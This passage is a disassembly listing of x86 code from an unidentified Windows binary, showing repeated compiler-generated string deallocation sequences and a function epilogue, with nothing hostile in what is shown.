mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
cmp ecx, 0x10
jb 0x44ccee
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cce4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x110]
inc ecx
mov dword [ebp - 0x110], ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x44cd0b
mov edi, dword [ebp - 0x14c]
jmp 0x44bc90
cmp byte [ebp - 0x11], 0
jne 0x44cd2f
push ecx
lea ecx, [ebp - 0x1b8]
call fcn.0040c680
add esp, 4
push ecx
lea ecx, [ebp - 0xa0]
call fcn.0040c680
add esp, 4
mov ecx, dword [ebp - 0x1a4]
cmp ecx, 0x10
jb 0x44cd69
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cd5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf07
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x44cda3
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cd99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf0c
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x204]
cmp ecx, 0x10
jb 0x44cddd
mov edx, dword [ebp - 0x218]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cdd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf11
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0xf
mov byte [ebp - 0x218], 0
call fcn.00481d80
mov edx, dword [ebp - 0xf8]
cmp edx, 0x10
jb 0x44ce3d
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44ce33
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf16
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov edx, dword [ebp - 0x1bc]
cmp edx, 0x10
jb 0x44ce77
mov ecx, dword [ebp - 0x1d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44ce6d
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf1b
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
cmp ecx, 0x10
jb 0x44cec2
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ceb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf1b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.00402390
call fcn.00402390
call fcn.004fceb0
call fcn.00402390
call fcn.00402390
call fcn.00402390
call fcn.00402390
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3